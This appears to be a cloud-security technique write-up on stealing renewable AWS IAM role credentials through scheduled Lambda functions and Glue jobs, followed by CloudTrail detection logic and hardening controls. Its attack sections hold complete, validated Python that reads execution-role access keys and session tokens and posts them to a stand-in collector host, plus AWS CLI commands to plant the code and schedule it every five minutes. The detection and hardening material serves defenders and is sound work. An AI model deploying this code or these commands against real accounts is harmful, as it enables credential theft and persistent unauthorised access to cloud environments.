Temporary workload-role credentials normally stay inside the compute environment that AWS created for them. If an attacker can control code in that environment, the same credential delivery mechanism becomes a credential theft primitive. Recurring execution makes the access renewable even after the attacker’s original session expires.
Lambda functions and Glue Python shell jobs are validated implementations. Both run attacker-controlled Python as a configured IAM role, expose that role’s temporary credentials to the workload, and support recurring execution. The deployment APIs differ, but the attacker idea does not.
The durable value comes from turning AWS-managed execution into a renewable source of privileged role sessions.
Technique
The attacker places code in managed compute that runs as a useful workload role. The code resolves the temporary credentials AWS supplied to that workload and makes the session available outside its intended execution context. If the compute runs again, AWS supplies another session.
The workload role is the privilege source. A scheduler is only the renewal mechanism, and outbound connectivity is one retrieval channel. Removing any one of those properties can stop this implementation without changing the higher-order technique.
flowchart LR
A([Attacker-controlled code])
W[AWS-managed workload]
R[Useful workload role]
C(Temporary role session)
O([Attacker access])
A --> W
R -->|AWS assumes role| W
W -->|workload credential provider| C
C -->|retrieval channel| O
W -. recurring execution .-> W
class A,O principal
class W,R awsResource
class C credential
Required properties
- The attacker can replace, upload, or otherwise control the executed code or artifact.
- AWS runs that work as an IAM role valuable to the attacker.
- The runtime makes temporary credentials for that role available to the workload.
- The code can retrieve or use the session outside its intended workload context.
- An existing or attacker-created trigger can repeat execution when renewable access is required.
Implementations
| Implementation | Validation | Why it qualifies | Lowest-control route | Recurrence | Key tradeoff |
|---|---|---|---|---|---|
| Lambda function | Validated | Function code receives execution-role credentials through the runtime credential provider. | Replace code on an already scheduled $LATEST function. |
Existing trigger, EventBridge rule, or EventBridge Scheduler | Version-pinned triggers do not execute a $LATEST replacement. |
| Glue Python shell job | Validated | The S3-hosted script runs with the Glue job role and resolves that role’s credentials through Boto3. | Replace the script object for an existing scheduled job. | Scheduled Glue trigger, minimum five-minute interval | The job needs access to the script object and a usable retrieval path. |
Other managed compute services may appear to satisfy these properties, but this repository has not validated them. EC2, ECS, CodeBuild, SageMaker, and Batch are therefore not presented as working implementations here.
How the implementations work
Lambda
Lambda supplies execution-role credentials through reserved environment variables, and AWS SDKs select them automatically.[1][2] If the role can call sts:AssumeRole and another role trusts it, the function can collect that second session instead.[3]
For a new scheduled function, EventBridge invokes the function on a rate or cron expression. A resource-based policy on the function allows the invocation.[4][5]
Lambda also has a metadata endpoint, but it is not a credential source. Its documented response includes context such as AvailabilityZoneID, not execution-role credentials. This differs from EC2 IMDS and ECS container credential endpoints.[6][7]
Lambda requirements
The permissions depend on what already exists. Reusing a scheduled function needs much less access than creating both the function and its schedule.
Reuse an existing recurring function
The lowest-privilege option requires lambda:UpdateFunctionCode on a function that already runs through an unqualified ARN or $LATEST. Its existing execution role determines AWS access, and the function needs network access to the C2.
UpdateFunctionCode changes only $LATEST. A trigger pinned to a published version continues to run the old code. An alias also stays on its current version until lambda:UpdateAlias moves it.[8]
Create a function and EventBridge rule
Creating both the function and its EventBridge schedule requires:
lambda:CreateFunctionon the new function.iam:PassRoleon one execution role trusted bylambda.amazonaws.com.events:PutRuleandevents:PutTargetson one scheduled rule.lambda:AddPermissionon the function so that rule can invoke it.
PassRole is an IAM permission rather than an API operation, so it does not produce a standalone CloudTrail event. The passed role ARN appears in the CreateFunction request instead.[9]
Select the credential source
Using the function’s own execution-role session adds no extra permission. Collecting a second session requires sts:AssumeRole on the target role, and that role must trust the Lambda execution role. The target role’s policies still limit the resulting session.[3:1]
Provide network egress
The function also needs a route to the C2. Functions outside a customer VPC have outbound internet access by default. A VPC-attached function commonly needs private subnets with a route to a NAT gateway; placing it in a public subnet does not give it a public IP address.[10]
Execution
TARGET_ROLE_ARN controls which credentials the handler sends. Leave it as None to use the function’s execution-role credentials, or set it to a role ARN to request a 15-minute STS session. The C2 endpoint and target role remain in the deployment package rather than the function configuration.
import json
import urllib.request
from datetime import datetime, timezone
import boto3
COLLECTOR_URL = "https://collector.example/ingest"
TARGET_ROLE_ARN = None
def execution_role_credentials():
credentials = boto3.Session().get_credentials()
if credentials is None:
raise RuntimeError("Boto3 did not resolve execution-role credentials")
frozen = credentials.get_frozen_credentials()
return {
"mode": "execution-role",
"access_key_id": frozen.access_key,
"secret_access_key": frozen.secret_key,
"session_token": frozen.token,
}
def assumed_role_credentials(role_arn):
response = boto3.client("sts").assume_role(
RoleArn=role_arn,
RoleSessionName="processing-session",
DurationSeconds=900,
)
credentials = response["Credentials"]
return {
"mode": "assumed-role",
"role_arn": role_arn,
"access_key_id": credentials["AccessKeyId"],
"secret_access_key": credentials["SecretAccessKey"],
"session_token": credentials["SessionToken"],
"expiration": credentials["Expiration"].isoformat(),
}
def lambda_handler(event, context):
role_arn = TARGET_ROLE_ARN
credentials = (
assumed_role_credentials(role_arn)
if role_arn
else execution_role_credentials()
)
payload = json.dumps(
{
"function_arn": context.invoked_function_arn,
"request_id": context.aws_request_id,
"observed_at": datetime.now(timezone.utc).isoformat(),
"credentials": credentials,
}
).encode()
request = urllib.request.Request(
COLLECTOR_URL,
data=payload,
headers={"Content-Type": "application/json"},
method="POST",
)
with urllib.request.urlopen(request, timeout=3) as response:
return {"status_code": response.status}
When reusing a function, set COLLECTOR_URL and the optional TARGET_ROLE_ARN, then package the code under its configured handler path. Preserve the original handler behavior if the workload must continue operating.
zip function.zip lambda_function.py
aws lambda update-function-code \
--function-name application-processing \
--zip-file fileb://function.zip
UpdateFunctionCode replaces the entire deployment package. Preserve the configured handler module, handler function, and any dependencies, or the next invocation will fail.[11]
If no suitable recurring function exists, create one. This adds lambda:CreateFunction and iam:PassRole to the required permissions.
aws lambda create-function \
--function-name application-processing \
--runtime python3.13 \
--handler lambda_function.lambda_handler \
--role arn:aws:iam::111122223333:role/application-processing \
--zip-file fileb://function.zip
If the function has no recurring trigger, create an EventBridge rule, grant that rule permission to invoke the function, and attach the function as its target. Scoping source-arn to the rule limits the EventBridge service principal to that rule.[5:1]
aws events put-rule \
--name application-processing-schedule \
--schedule-expression 'rate(5 minutes)'
aws lambda add-permission \
--function-name application-processing \
--statement-id allow-eventbridge-processing-schedule \
--action lambda:InvokeFunction \
--principal events.amazonaws.com \
--source-arn arn:aws:events:us-east-1:111122223333:rule/application-processing-schedule
aws events put-targets \
--rule application-processing-schedule \
--targets 'Id=application-processing,Arn=arn:aws:lambda:us-east-1:111122223333:function:application-processing'
Other scheduling options
The commands above create a new EventBridge rule. Existing schedules can reduce the permissions needed.
| Option | What it needs | Caveat |
|---|---|---|
| Existing EventBridge rule | events:PutTargets on the rule and, if needed, lambda:AddPermission on the function |
A rule supports at most five targets. Reusing a target ID replaces that target.[5:2] |
| EventBridge Scheduler | scheduler:CreateSchedule, iam:PassRole, and an execution role that can invoke the function |
Scheduler uses its execution role instead of a Lambda resource-policy permission.[12][13] |
Glue implementation
Glue provides the same primitive through an S3-hosted Python shell script, a Glue job role, and an optional scheduled trigger. Replacing the script object used by an existing scheduled job is the lowest-control route. Creating the full chain requires s3:PutObject, glue:CreateJob, iam:PassRole for a role trusted by glue.amazonaws.com, and glue:CreateTrigger.[14][15][16]
The job role needs s3:GetObject on the script. A VPC-connected job also needs a route through which the code can use its retrieval channel. Glue-created network interfaces receive private IP addresses, so public HTTPS retrieval normally requires a NAT path.[17]
The script resolves the active job-role session through Boto3. This is the same credential-provider operation used by the Lambda implementation:
import json
import urllib.request
from datetime import datetime, timezone
import boto3
COLLECTOR_URL = "https://collector.example/ingest"
credentials = boto3.Session().get_credentials()
if credentials is None:
raise RuntimeError("Boto3 did not resolve job-role credentials")
frozen = credentials.get_frozen_credentials()
payload = json.dumps({
"observed_at": datetime.now(timezone.utc).isoformat(),
"access_key_id": frozen.access_key,
"secret_access_key": frozen.secret_key,
"session_token": frozen.token,
}).encode()
request = urllib.request.Request(
COLLECTOR_URL,
data=payload,
headers={"Content-Type": "application/json"},
method="POST",
)
with urllib.request.urlopen(request, timeout=3) as response:
response.read()
Upload the script, create a Python shell job with the selected role, then create its recurring trigger. The job definition crosses the identity boundary by assigning the role; the trigger supplies renewal.
aws s3 cp glue_beacon.py \
s3://application-processing/scripts/glue_beacon.py
aws glue create-job \
--name application-processing \
--role arn:aws:iam::111122223333:role/AWSGlueServiceRole-application-processing \
--command '{"Name":"pythonshell","PythonVersion":"3.9","ScriptLocation":"s3://application-processing/scripts/glue_beacon.py"}' \
--default-arguments '{"--library-set":"analytics"}' \
--max-capacity 0.0625
aws glue create-trigger \
--name application-processing-schedule \
--type SCHEDULED \
--schedule 'cron(0/5 * * * ? *)' \
--actions JobName=application-processing \
--start-on-creation
Glue cron expressions use UTC and six fields. Five minutes is the minimum interval. StartOnCreation activates the schedule during CreateTrigger.[18]
Boundaries and failure conditions
The technique stops when no useful workload role is available, attacker-controlled code no longer runs, workload credentials are inaccessible to the code, the retrieval channel is removed, or recurrence is disabled. Removing only the original compromised credentials does not invalidate sessions later issued to the workload role.
Lambda version pinning can preserve known code even after $LATEST changes. Glue script-write separation can preserve a job definition while preventing replacement of its executable artifact. Network isolation or controlled egress breaks the HTTPS retrieval path used here, though code with useful downstream AWS permissions could still use the session inside the workload.
Detection
The behavioral invariant is recurring managed compute running as a valuable role while the resulting sessions become usable outside their intended workload context. Detect the relationship between code or artifact changes, role assignment, recurrence, and unexpected credential use or outbound communication. A service event by itself does not establish credential theft.
For Lambda, CloudTrail management events cover function and schedule changes. Lambda invocations are data events and are not logged by default. CloudTrail also omits uploaded ZIP contents and environment values, so an unexpected change may require package inspection.[19]
For Glue, join an S3 script write to a job referencing the same object and a scheduled trigger referencing that job. PutObject requires S3 data-event logging, while Glue job and trigger changes are management events.[20][21]
{
"eventTime": "2026-06-29T19:08:13Z",
"eventSource": "lambda.amazonaws.com",
"eventName": "CreateFunction20150331",
"awsRegion": "us-west-1",
"sourceIPAddress": "203.0.113.5",
"userAgent": "Boto3/1.43.36 Botocore/1.43.36",
"userIdentity": {
"type": "IAMUser",
"arn": "arn:aws:iam::123456789012:user/deployment-user"
},
"requestParameters": {
"functionName": "application-processing",
"runtime": "python3.12",
"handler": "index.handler",
"role": "arn:aws:iam::123456789012:role/application-processing",
"code": {},
"environment": {}
},
"responseElements": {
"functionArn": "arn:aws:lambda:us-west-1:123456789012:function:application-processing",
"codeSha256": "P5VITRngl3L/kWmyVa6j5bLxE+yn+44ubt5qqYgt2JU=",
"state": "Pending",
"version": "$LATEST"
}
}
PutRule records the schedule, while PutTargets links the rule to the Lambda function.[22][23]
Detection inputs
Retain eventTime, recipientAccountId, awsRegion, userIdentity.arn, sourceIPAddress, userAgent, and errorCode across these events. The table lists the fields specific to each operation.
CloudTrail uses versioned Lambda event names such as CreateFunction20150331 and UpdateFunctionCode20150331v2. Match the raw values rather than the shorter SDK operation names.[24][19:1]
| Event source and name | Operation-specific fields | Why it matters |
|---|---|---|
lambda.amazonaws.com and CreateFunction20150331 |
requestParameters.functionName, requestParameters.role, responseElements.functionArn, responseElements.codeSha256 |
A new function and its execution role. |
lambda.amazonaws.com and UpdateFunctionCode20150331v2 |
requestParameters.functionName, requestParameters.publish, responseElements.functionArn, responseElements.codeSha256 |
New code on an existing function. |
lambda.amazonaws.com and UpdateFunctionConfiguration20150331v2 |
requestParameters.functionName, requestParameters.role, requestParameters.layers, requestParameters.vpcConfig |
Changes to the role, layers, or network placement. |
events.amazonaws.com and PutRule |
requestParameters.name, requestParameters.scheduleExpression, requestParameters.state, responseElements.ruleArn |
A new or changed schedule. |
events.amazonaws.com and PutTargets |
requestParameters.rule, requestParameters.targets[].arn |
The function attached to that schedule. |
lambda.amazonaws.com and AddPermission20150331v2 |
requestParameters.functionName, requestParameters.principal, requestParameters.sourceArn |
EventBridge gained permission to invoke the function. |
scheduler.amazonaws.com and CreateSchedule |
requestParameters.name, requestParameters.scheduleExpression, requestParameters.target.arn, requestParameters.target.roleArn |
A Scheduler schedule and its invocation role.[12:1] |
sts.amazonaws.com and AssumeRole |
userIdentity.sessionContext.sessionIssuer.arn, requestParameters.roleArn, requestParameters.roleSessionName |
The function requested credentials for another role. |
lambda.amazonaws.com and Invoke |
resources[].ARN |
Invocation attribution when Lambda data-event logging is enabled. |
s3.amazonaws.com and PutObject |
requestParameters.bucketName, requestParameters.key, userIdentity.arn |
Creation or replacement of the Glue script object. Requires S3 data-event logging. |
glue.amazonaws.com and CreateJob |
requestParameters.name, requestParameters.role, requestParameters.command.name, requestParameters.command.scriptLocation, requestParameters.maxCapacity |
Connects executable content to the Glue job role. |
glue.amazonaws.com and UpdateJob |
requestParameters.jobName, fields under requestParameters.jobUpdate |
Repoints an existing job to another script or role. |
glue.amazonaws.com and CreateTrigger |
requestParameters.name, requestParameters.type, requestParameters.schedule, requestParameters.actions[].jobName, requestParameters.startOnCreation |
Establishes recurring Glue execution. |
glue.amazonaws.com and UpdateTrigger |
requestParameters.name, fields under requestParameters.triggerUpdate |
Changes the job action or recurrence on an existing trigger. |
Correlation logic
- Start with successful function or schedule changes that fall outside the approved deployment baseline.
- For EventBridge rules, join the function ARN from
CreateFunction20150331orUpdateFunctionCode20150331v2toPutTargets.requestParameters.targets[].arn. Then join the rule name toPutRuleand its ARN toAddPermission20150331v2. A 15-minute window is a practical starting point. - For EventBridge Scheduler, match
CreateSchedule.requestParameters.target.arnto the changed function and retaintarget.roleArn.[9:1] - Raise confidence when a Lambda execution role assumes an unexpected target role.
- Raise confidence again when the same function makes periodic outbound connections to a new destination.
- For Glue, parse the job’s
command.scriptLocationinto an S3 bucket and key, then join it toPutObjecton that exact object. - Within 15 minutes, join
CreateTriggerorUpdateTriggerwhereactions[].jobNamematches the changed job. Also alert directly on writes to scripts used by already scheduled jobs. - Raise confidence when either implementation produces periodic outbound HTTPS to a new destination.
Baseline and tuning
- Build the baseline from approved infrastructure and release records rather than historical activity alone.
- Pay attention to new principals, Regions, code digests, execution roles, target roles, and schedule-to-function relationships.
- Avoid broad allowlists for administrator roles. Scope exceptions to the expected principal, function, role, Region, and deployment source.
- Retrieve the deployment package when a code change is unexpected; CloudTrail identifies the change but does not contain the uploaded code.[19:2]
Hardening
Hardening should remove one of the primitive’s required properties: control of executable content, assignment of a useful role, workload access to credentials, a retrieval path, or recurrence.
| Control | Implementation | Why it helps |
|---|---|---|
| Deployment permissions | Reserve lambda:CreateFunction, lambda:UpdateFunctionCode, lambda:UpdateFunctionConfiguration, lambda:AddPermission, events:PutRule, events:PutTargets, and scheduler:CreateSchedule for dedicated deployment roles. Enforce the restriction with an SCP or permissions boundary. |
Prevents general identities from changing function code or schedules. |
| Passed roles | Allow iam:PassRole only for named role ARNs. Use iam:PassedToService to separate Lambda and Scheduler roles.[9:2] |
Prevents a deployment identity from attaching an unrelated role. |
| Role chaining | Remove unnecessary sts:AssumeRole permissions from Lambda execution roles and remove those roles from unrelated trust policies. |
Blocks collection of a second role session. |
| Source-bound access | Use lambda:SourceFunctionArn in policies or SCPs that protect sensitive downstream actions.[2:1] |
Restricts where execution-role credentials can authorize those actions. |
| Network egress | Place functions that do not need internet access in private subnets without a NAT route. Use VPC endpoints and restricted security-group egress for required services.[10:1] | Removes direct outbound access to a C2. |
| Code signing | Associate an enforced Lambda code-signing configuration with protected functions and restrict signing to the release role.[25] | Rejects packages from unapproved publishers. |
| Monitoring | Enable GuardDuty Lambda Protection and compare Lambda, EventBridge, Scheduler, IAM role, and VPC configuration with approved infrastructure.[26][27] | Adds network detection and exposes configuration drift. |
| Glue deployment permissions | Restrict glue:CreateJob, glue:UpdateJob, glue:CreateTrigger, and glue:UpdateTrigger to dedicated deployment roles. |
Removes control of Glue executable jobs and recurrence. |
| Glue script integrity | Restrict writes to script prefixes to the release identity and separate script-write access from job administration. | Removes the lowest-control path that replaces only the executable artifact. |
| Glue role passing | Scope iam:PassRole to approved job roles and require iam:PassedToService to equal glue.amazonaws.com. |
Prevents assignment of an unrelated useful role. |
References
AWS Lambda, Defining function permissions with an execution role ↩︎
AWS Lambda, Using source function ARN to control function access behavior ↩︎ ↩︎
Amazon EventBridge, Creating a rule that runs on a schedule ↩︎
AWS IAM, Grant a user permissions to pass a role to an AWS service ↩︎ ↩︎ ↩︎
AWS Lambda, Enable internet access for VPC-connected functions ↩︎ ↩︎
detection.wiki, EventBridge Scheduler
CreateScheduleCloudTrail entry ↩︎ ↩︎Amazon EventBridge Scheduler, Lambda templated targets and execution roles ↩︎
AWS Lambda, Logging Lambda API calls using CloudTrail ↩︎ ↩︎ ↩︎
detection.wiki, EventBridge CloudTrail events and samples ↩︎
Amazon EventBridge, Logging API calls using AWS CloudTrail ↩︎
detection.wiki, AWS Lambda CloudTrail events and
CreateFunctionsample ↩︎